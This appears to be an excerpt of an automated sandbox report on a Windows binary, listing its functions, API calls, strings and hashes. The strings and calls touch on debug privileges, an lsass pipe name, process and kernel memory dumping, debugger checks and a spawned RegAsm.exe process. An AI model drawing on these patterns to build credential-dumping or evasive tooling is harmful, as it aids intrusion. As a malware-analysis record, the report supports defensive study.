GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 045A177F

Part of subcall function 045A1000: _memset.LIBCMT ref: 045A1029
Part of subcall function 045A1000: GetCommandLineW.KERNEL32(00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 045A1055
Part of subcall function 045A1000: CreateProcessW.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000), ref: 045A1061
Part of subcall function 045A1000: GetLastError.KERNEL32 ref: 045A106B
Part of subcall function 045A1000: _wprintf.LIBCMT ref: 045A1077

ExitProcess.KERNEL32 ref: 045A178C

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: Process_memset$CommandCreateErrorExitFileLastLineModuleName_wprintf
String ID:
API String ID: 4170395599-0
Opcode ID: 38479d3b204a5dc0cf5b92c4c6b18fbd734df7abd5759e6aa1e574bc788f56e7
Instruction ID: 4d28fdf23d3502a5be60c44cada66ee26b40a9e668425854a5841b50135de051
Opcode Fuzzy Hash: 38479d3b204a5dc0cf5b92c4c6b18fbd734df7abd5759e6aa1e574bc788f56e7
Instruction Fuzzy Hash: 31E012B4900308ABE710EBB4AC0DF9A77B8FB04705F504161A614D7181F6746A689BA5

Function 00401800 Relevance: 3.0, APIs: 2, Instructions: 47
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(006EE3A8), ref: 00401848
QueryUnbiasedInterruptTime.KERNEL32(?), ref: 00401853

Part of subcall function 00582290: QueryUnbiasedInterruptTime.KERNEL32(?), ref: 005822A5
Part of subcall function 00582290: GetSystemTimes.KERNELBASE(?,?,?), ref: 005822B7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased$CriticalInitializeSectionSystemTimes
String ID:
API String ID: 2575030287-0
Opcode ID: d2f3fa03e5a916fd794f61e930ddc3b83ae002ce5f243142270c176de7c5ba6e
Instruction ID: b590395332282e99bd5da097915c3da5ddfd388492f8e19b55c730124c3e145b
Opcode Fuzzy Hash: d2f3fa03e5a916fd794f61e930ddc3b83ae002ce5f243142270c176de7c5ba6e
Instruction Fuzzy Hash: B611BFB1D087859FD300DF24DD8596AB7F1FB98304F00AA1EF8998B261EB35A1C4CB42

Function 00401410 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004613E0: InitializeCriticalSection.KERNEL32(000000BC,0040149B,B6184AA8,00000010), ref: 004614E1
Part of subcall function 004613E0: UuidCreate.RPCRT4(?), ref: 0046150B
Part of subcall function 004613E0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00461526

GetModuleHandleW.KERNEL32(00000000), ref: 004014D3

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CreateDirectoryEnterHandleInitializeLeaveModuleSystemUuid
String ID:
API String ID: 2481231655-0
Opcode ID: e601fbac71e6f0fdfb43e11f3f704ad52ce2ebc1c0a3cd7688e6a3ddd2d0c677
Instruction ID: 2dc67f9249137aa5ae2567adcabcd5f1748bbbf52391293a4f967a98230a5f91
Opcode Fuzzy Hash: e601fbac71e6f0fdfb43e11f3f704ad52ce2ebc1c0a3cd7688e6a3ddd2d0c677
Instruction Fuzzy Hash: B131DEB0C007069FD710DF65C9087AABBF4FF85708F15862AE415AB290EBB46544CBE1

Function 005B4E11 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f69cdfb8cdbaa6225dc27ae6f916ef76e5f30e4c01c063f277a575dd7642ab
Instruction ID: 31a860f7d1679260c3695c8ea334f262b345735c1f5c37209c44220fe8c2ef65
Opcode Fuzzy Hash: 43f69cdfb8cdbaa6225dc27ae6f916ef76e5f30e4c01c063f277a575dd7642ab
Instruction Fuzzy Hash: 9801B533604212AF9F36CE6DEC459AB3B9BBBC57747248124F905DB195DB30E8018B91

Non-executed Functions

Function 0042C200 Relevance: 134.2, APIs: 46, Strings: 30, Instructions: 1202servicelibraryloaderCOMMON

Download Yara Rule

APIs

QueryServiceConfig2W.ADVAPI32(?,0000000C,?,00000004,?), ref: 0042C22F
ChangeServiceConfig2W.ADVAPI32(?,0000000C,00000000,?,0000000C,?,00000004,?), ref: 0042C251
GetLastError.KERNEL32(Unable to set debug service as antimalware process!,?,0000000C,00000000,?,0000000C,?,00000004,?), ref: 0042C270
SetDllDirectoryW.KERNEL32(00629350), ref: 0042C2D8
GetModuleHandleW.KERNEL32(kernel32.dll,SetDefaultDllDirectories), ref: 0042C2E8
GetProcAddress.KERNEL32(00000000), ref: 0042C2EF
StartServiceCtrlDispatcherW.ADVAPI32(?), ref: 0042C80A
GetLastError.KERNEL32 ref: 0042C814
OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001), ref: 0042C87E
OpenServiceW.ADVAPI32(00000000,00689C80,00010004), ref: 0042C8AF
DeleteService.ADVAPI32(00000000), ref: 0042C8C3
GetLastError.KERNEL32 ref: 0042C8CD
CloseServiceHandle.ADVAPI32(00000000), ref: 0042C922
CloseServiceHandle.ADVAPI32(00000000), ref: 0042C929
GetLastError.KERNEL32 ref: 0042C941
CloseServiceHandle.ADVAPI32(00000000), ref: 0042C996
GetLastError.KERNEL32 ref: 0042C9AE
GetFileAttributesW.KERNEL32(?), ref: 0042C33B

Part of subcall function 00425420: ___std_exception_destroy.LIBVCRUNTIME ref: 004254A6

SetConsoleCtrlHandler.KERNEL32(Function_0002C1D0,00000001), ref: 0042CAD9
WaitForSingleObject.KERNEL32(000000FF), ref: 0042CAF3
RpcServerUnregisterIf.RPCRT4(00629560,00000000,00000001), ref: 0042CB02
RpcServerUnregisterIf.RPCRT4(00629848,00000000,00000001), ref: 0042CB11
RpcServerUnregisterIf.RPCRT4(006297F0,00000000,00000001), ref: 0042CB20
GetLastError.KERNEL32(Unable to open the service control manager!), ref: 0042D41E
GetLastError.KERNEL32(Unable to query own process module path!,?,0068501C,00000000), ref: 0042D446
GetLastError.KERNEL32(?,0068501C,00000000), ref: 0042D46E
GetLastError.KERNEL32(?,0068501C,00000000,Unable to create service '{}'!,0000001E,00689C80), ref: 0042D49D
GetLastError.KERNEL32(Unable to modify debugger service binary path!,?,0068501C,00000000,Unable to modify debugger service configuration using c_ChangeConfig!,?,0068501C,00000000,Unable to create debugger rpc endpoint!,?,0068501C,00000000,Unable to open service '{}'!,0000001C,00689C80), ref: 0042D51A

Strings

ControlService(SERVICE_CONTROL_UNREGISTER) failure: gle={}, xrefs: 0042D1AB
kernel32.dll, xrefs: 0042C2E3
Unable to modify debugger service binary path!, xrefs: 0042D515
/runassvc, xrefs: 0042C6C5
ncalrpc, xrefs: 0042CF9F
Debugger app is starting., xrefs: 0042CA7D
3439CC0D, xrefs: 0042C709
/unregister, xrefs: 0042D0E1
Unable to set debug service as antimalware process!, xrefs: 0042C26B
SetDefaultDllDirectories, xrefs: 0042C2DE
Debugger service is starting., xrefs: 0042C70C
RpcSS, xrefs: 0042CD4A
OpenSCManager failure: gle={}, xrefs: 0042C9E6, 0042D1F5
ProfSvc_Group, xrefs: 0042CD51, 0042D05B
Unable to open the service control manager!, xrefs: 0042D419
Unable to query own process module path!, xrefs: 0042D441
Unable to open service '{}'!, xrefs: 0042D4AA
StartServiceCtrlDispatcher failure: gle={}, xrefs: 0042C84C
" /runassvc, xrefs: 0042CC94
RpcSs, xrefs: 0042D054
ServicesActive, xrefs: 0042C877, 0042CBC4, 0042D111
StartServer failure: retval={}, xrefs: 0042CB67
DeleteService(self) failure: gle={}, xrefs: 0042C905
/register, xrefs: 0042CB96
OpenService failure: gle={}, xrefs: 0042C979, 0042D1DF
Unable to create debugger rpc endpoint!, xrefs: 0042D4D1
Unable to modify debugger service configuration using c_ChangeConfig!, xrefs: 0042D4F3
/runasapp, xrefs: 0042CA14
Unable to create service '{}'!, xrefs: 0042D47B
AvDumper, xrefs: 0042C542, 0042CE45

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$Service$Handle$CloseServerUnregister$Config2CtrlOpen$AddressAttributesChangeConsoleDeleteDirectoryDispatcherFileHandlerManagerModuleObjectProcQuerySingleStartWait___std_exception_destroy
String ID: " /runassvc$/register$/runasapp$/runassvc$/unregister$3439CC0D$AvDumper$ControlService(SERVICE_CONTROL_UNREGISTER) failure: gle={}$Debugger app is starting.$Debugger service is starting.$DeleteService(self) failure: gle={}$OpenSCManager failure: gle={}$OpenService failure: gle={}$ProfSvc_Group$RpcSS$RpcSs$ServicesActive$SetDefaultDllDirectories$StartServer failure: retval={}$StartServiceCtrlDispatcher failure: gle={}$Unable to create debugger rpc endpoint!$Unable to create service '{}'!$Unable to modify debugger service binary path!$Unable to modify debugger service configuration using c_ChangeConfig!$Unable to open service '{}'!$Unable to open the service control manager!$Unable to query own process module path!$Unable to set debug service as antimalware process!$kernel32.dll$ncalrpc
API String ID: 4001331579-2086235319
Opcode ID: 31aa85fa8cc19aa55e6f7de276a266b1d88a44b8429826cc8e64a6c443f7eaa1
Instruction ID: 0f0afd6a05c48dca23ac2e1b52c1e8da7abf0b10f2bba235200e9c859dd2f85f
Opcode Fuzzy Hash: 31aa85fa8cc19aa55e6f7de276a266b1d88a44b8429826cc8e64a6c443f7eaa1
Instruction Fuzzy Hash: 3CB286B0E012299FDB10DFA4EC45BEDBBB1BF58308F10425AE405B7291EB786A45CF65

Function 00403010 Relevance: 127.2, APIs: 47, Strings: 25, Instructions: 1226threadfiletimeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(02000000,00000000,?,B6184AA8), ref: 004030DB
K32GetProcessImageFileNameW.KERNEL32(00000000,?,?,00000104,00000000), ref: 0040315D
CloseHandle.KERNEL32(00000000,00000000,00000000), ref: 004031A0
DebugActiveProcess.KERNEL32(?), ref: 00403205
DebugSetProcessKillOnExit.KERNEL32(00000000), ref: 004032D5
WaitForDebugEvent.KERNEL32(?,000000FF,?, PID: ,?,Debugger attached to process: ), ref: 0040335A
SetEvent.KERNEL32(?,?, PID: ,?,Debugger attached to process: ), ref: 004033F9
CreateFileW.KERNEL32(00000000,00000000,?, PID: ,?,Debugger attached to process: ), ref: 00403423
GetLastError.KERNEL32(?, PID: ,?,Debugger attached to process: ), ref: 00403430
DeviceIoControl.KERNEL32(00000000,B2D601C4,?,00000005,00000000,00000000,?,00000000), ref: 00403461
GetLastError.KERNEL32(?, PID: ,?,Debugger attached to process: ), ref: 0040346B
CloseHandle.KERNEL32(00000000,?, PID: ,?,Debugger attached to process: ), ref: 00403472
EnterCriticalSection.KERNEL32(006EE08C,?, PID: ,?,Debugger attached to process: ), ref: 0040348E
LeaveCriticalSection.KERNEL32(006EE08C,?,?, PID: ,?,Debugger attached to process: ), ref: 004034B5
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 004035DD
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403685
OpenProcess.KERNEL32(02000000,00000000,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 004036C5
DebugBreakProcess.KERNEL32(00000000), ref: 004036D2
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 004036F0
ContinueDebugEvent.KERNEL32(?,?,00010002,?, PID: ,?,Debugger attached to process: ), ref: 0040371E
OpenProcess.KERNEL32(02000000,00000000,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 0040379B
K32EnumProcessModules.KERNEL32(00000000,?,00000400,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 004037BF
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000104,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403804
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403835
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 0040384F
OpenThread.KERNEL32(02000000,00000000,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403D3B
GetThreadContext.KERNEL32(00000000,0001003F,?,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403DE0
DebugSetProcessKillOnExit.KERNEL32(00000001), ref: 00403E88
GetThreadContext.KERNEL32(00000000,0001003F,?,?,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00403F83
GetSystemTimeAsFileTime.KERNEL32(34353337,00000104,00000000,?,?,?,?,?,?,?,?, PID: ,?,Debugger attached to process: ), ref: 00404127
GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 00404368
CloseHandle.KERNEL32(?), ref: 0040472B
CreateFileW.KERNEL32(00000000,00000000), ref: 0040488A
GetLastError.KERNEL32 ref: 00404897
DebugActiveProcessStop.KERNEL32(?), ref: 004048A3
DeviceIoControl.KERNEL32(00000000,B2D601C4,?,00000005,00000000,00000000,?,00000000), ref: 004048D7
GetLastError.KERNEL32 ref: 004048E1
CloseHandle.KERNEL32(00000000), ref: 004048E8
DebugActiveProcessStop.KERNEL32(?), ref: 004048F4
GetLastError.KERNEL32 ref: 004049B2
GetLastError.KERNEL32(?,00684FFC,0000003F,0068501C,Unable to start debugging of process with id {}, error code: {},0000003F,-0000001C,?), ref: 00404A0E

Strings

7354, xrefs: 00403514
7354, xrefs: 00404933
751D, xrefs: 004042E2
P4b, xrefs: 00403A30
751D, xrefs: 0040322B
751D, xrefs: 00403381
Event:{} Process:{} Thread:{}, xrefs: 004033C3
unp%u%ux-unhandled.mdmp, xrefs: 00404159, 00404161
- Cause: , xrefs: 00403C06
Unable to start debugging of process with id {}, error code: {}, xrefs: 004049D8
7354, xrefs: 004033A4
EXCEPTION_DEBUG_EVENT Process:{} Thread:{} Exception:0x{:08X} FirstChance:{} ExceptionFlags:0x{:08X}, xrefs: 00403543
7354, xrefs: 00404305
Debugging of own process is not supported, xrefs: 0040496A
Unable to wait for debugging event of process with id {}, error code: {}, xrefs: 00404A34
Debugger attached to process: , xrefs: 00403289
|2b, xrefs: 004049FE
7354, xrefs: 00403247
PID: , xrefs: 004032AB
Debugger exception 0x{:08X} successfully dumped process {} into '{}' (dump level: {:#x}), xrefs: 00404325
751D, xrefs: 004034F1
Cause: VectoredExceptionHandler, xrefs: 00403A0E
751D, xrefs: 00404917
verifier.dll, xrefs: 00403814
unp%u%ux-manual.mdmp, xrefs: 00404147

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Process$Debug$CloseHandle$ErrorLast$File$CriticalOpenSection$ActiveEventThread$ContextControlCreateDeviceEnterExitKillLeaveNameStopTime$AttributesBaseBreakContinueEnumImageModuleModulesSystemWait
String ID: - Cause: $ PID: $7354$7354$7354$7354$7354$751D$751D$751D$751D$751D$Cause: VectoredExceptionHandler$Debugger attached to process: $Debugger exception 0x{:08X} successfully dumped process {} into '{}' (dump level: {:#x})$Debugging of own process is not supported$EXCEPTION_DEBUG_EVENT Process:{} Thread:{} Exception:0x{:08X} FirstChance:{} ExceptionFlags:0x{:08X}$Event:{} Process:{} Thread:{}$P4b$Unable to start debugging of process with id {}, error code: {}$Unable to wait for debugging event of process with id {}, error code: {}$unp%u%ux-manual.mdmp$unp%u%ux-unhandled.mdmp$verifier.dll$|2b
API String ID: 3200886373-1955391582
Opcode ID: e78d22d8c278c4c020ef3ec7c3f18f15e536ec2f082073f0f49a144d62428117
Instruction ID: fef95ed3d46d4e7c9ffc324d753ed59c8193dd1bc05748b16e8fa19851bd6064
Opcode Fuzzy Hash: e78d22d8c278c4c020ef3ec7c3f18f15e536ec2f082073f0f49a144d62428117
Instruction Fuzzy Hash: 03D22BB0D052689FDB20DF24CC44BA9BBB4BF54304F5481DAE549A7281DB78AF84CF99

Function 0042B1C0 Relevance: 53.2, APIs: 19, Strings: 11, Instructions: 714COMMON

Download Yara Rule

Strings

3439, xrefs: 0042B8CF
Successfully dumped process {} into '{}' (dump level: {:#x}), xrefs: 0042B8FB
Minimum interval between dumps (, xrefs: 0042BADC
CC0D, xrefs: 0042B8E9
SeDebugPrivilege, xrefs: 0042B2C1
minutes) was not yet reached , xrefs: 0042BAFB
\\.\pipe\lsass, xrefs: 0042B3E2
Lsass dumping is not supported, xrefs: 0042B49D
Successfully dumped kernel memory into '{}', xrefs: 0042B38D
3439CC0D, xrefs: 0042B223
last.dump, xrefs: 0042B71A, 0042B9D7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: minutes) was not yet reached $3439$3439CC0D$CC0D$Lsass dumping is not supported$Minimum interval between dumps ($SeDebugPrivilege$Successfully dumped kernel memory into '{}'$Successfully dumped process {} into '{}' (dump level: {:#x})$\\.\pipe\lsass$last.dump
API String ID: 0-1121870880
Opcode ID: 3be75ea099fceb3854dbaf3b7f3958ff3d9ac31ea5b00383299c92bd0fa20663
Instruction ID: c8e9a9867f587d5fde8cf6cb65292cff02955834e413f5a25bfd0f4548b3e4e3
Opcode Fuzzy Hash: 3be75ea099fceb3854dbaf3b7f3958ff3d9ac31ea5b00383299c92bd0fa20663
Instruction Fuzzy Hash: 5E628A70E00229DFCB24DFA4D845BEDBBB5BF58304F50819AE509B7281EB74AA84CF55

Function 0045ED20 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 307filememorylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00437E80: VerSetConditionMask.NTDLL ref: 00437EED
Part of subcall function 00437E80: VerSetConditionMask.NTDLL ref: 00437EF5
Part of subcall function 00437E80: VerSetConditionMask.NTDLL ref: 00437EFD
Part of subcall function 00437E80: VerifyVersionInfoW.KERNEL32(00000000,00000023,00000000), ref: 00437F24

GetFileAttributesW.KERNEL32(?,00000000), ref: 0045ED76
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,A0000000,00000000), ref: 0045EE3F
NtSystemDebugControl.NTDLL ref: 0045EEA1
CloseHandle.KERNEL32(00000000), ref: 0045EEAD
GetLastError.KERNEL32(00000009,0068501C,00000005,Dump file {} already exists,0000001B,?,00000009,0068501C,00000009,Windows 8.1 or later is required for live kernel dumping,00000000), ref: 0045EF2D
DeleteFileW.KERNEL32(00000000,00000033,0068501C,?,Dump file '{}' could not be created, error code: {},00000033,?,?), ref: 0045EF65
GetCurrentProcess.KERNEL32(?,B6184AA8,?,00000000,?,0000002D,?,?,Dump file '{}' could not be created, error code: {},00000033,?,?), ref: 0045EFD2
CheckRemoteDebuggerPresent.KERNEL32(00000000,?,00000000,?,0000002D,?,?,Dump file '{}' could not be created, error code: {},00000033,?,?), ref: 0045EFD9
GetModuleHandleW.KERNEL32(kernel32.dll,IsDebuggerPresent,?,?,?,00000000,?,0000002D,?,?,Dump file '{}' could not be created, error code: {},00000033), ref: 0045F041
GetProcAddress.KERNEL32(00000000), ref: 0045F048
VirtualProtect.KERNEL32(00000000,00000008,00000080,00000000), ref: 0045F075
VirtualProtect.KERNEL32(00000000,00000008,00000000,00000000), ref: 0045F09E
GetCurrentProcess.KERNEL32(00000000,00000008), ref: 0045F0A7
FlushInstructionCache.KERNEL32(00000000), ref: 0045F0AE

Strings

Dump file '{}' could not be created, error code: {}, xrefs: 0045EF40
kernel32.dll, xrefs: 0045F03C
Dump file {} already exists, xrefs: 0045EF10
NtSystemDebugControl failed, status: {:#010x}, xrefs: 0045EF71
IsDebuggerPresent, xrefs: 0045F037
Windows 8.1 or later is required for live kernel dumping, xrefs: 0045EEED

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ConditionFileMask$CurrentHandleProcessProtectVirtual$AddressAttributesCacheCheckCloseControlCreateDebugDebuggerDeleteErrorFlushInfoInstructionLastModulePresentProcRemoteSystemVerifyVersion
String ID: Dump file '{}' could not be created, error code: {}$Dump file {} already exists$IsDebuggerPresent$NtSystemDebugControl failed, status: {:#010x}$Windows 8.1 or later is required for live kernel dumping$kernel32.dll
API String ID: 2794684154-3409217149
Opcode ID: c6d5a3857460ed12ac74adf682bed613cffcff3d37b3af3ca89a2bb48c960a16
Instruction ID: 30cbf7b3f4b0fde3489a508e96361471d92ac740df1a869d38eb2d9ec1b02d1d
Opcode Fuzzy Hash: c6d5a3857460ed12ac74adf682bed613cffcff3d37b3af3ca89a2bb48c960a16
Instruction Fuzzy Hash: FAB1D3B1D00209ABDF10DFA5DC45BEEBBB8FF18704F10852AF915A7282DB78A509CB55

Function 00459B90 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 287encryptiontimeregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,B6184AA8,00000000,006EEA78), ref: 00459C4E
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00459D7A
GetCurrentProcessId.KERNEL32 ref: 00459D93
GetCurrentThreadId.KERNEL32 ref: 00459DAF
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00459DEC
GetDiskFreeSpaceExW.KERNEL32(00000000,?,00000000,00000000), ref: 00459E23
GetSystemTimes.KERNEL32(?,?,?), ref: 00459E4C
QueryPerformanceCounter.KERNEL32(?), ref: 00459EBD
CryptAcquireContextW.ADVAPI32(?,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000040), ref: 00459F07
CryptGenRandom.ADVAPI32(?,00000008,?), ref: 00459F22
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00459F44

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 00459EFF

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Crypt$ContextCurrentSystemTime$AcquireCounterDiskFileFreeGlobalMemoryOpenPerformanceProcessQueryRandomReleaseSpaceStatusThreadTimes
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 641596549-291530887
Opcode ID: c9eb0ee63eef218e3e4024633145c7d9f5f524d5c2e7e008d99a4a4328355bda
Instruction ID: 178aa4445b1f317eecbf3d8e71b19f7bd8efc233d8b579a6c6d905118e28c632
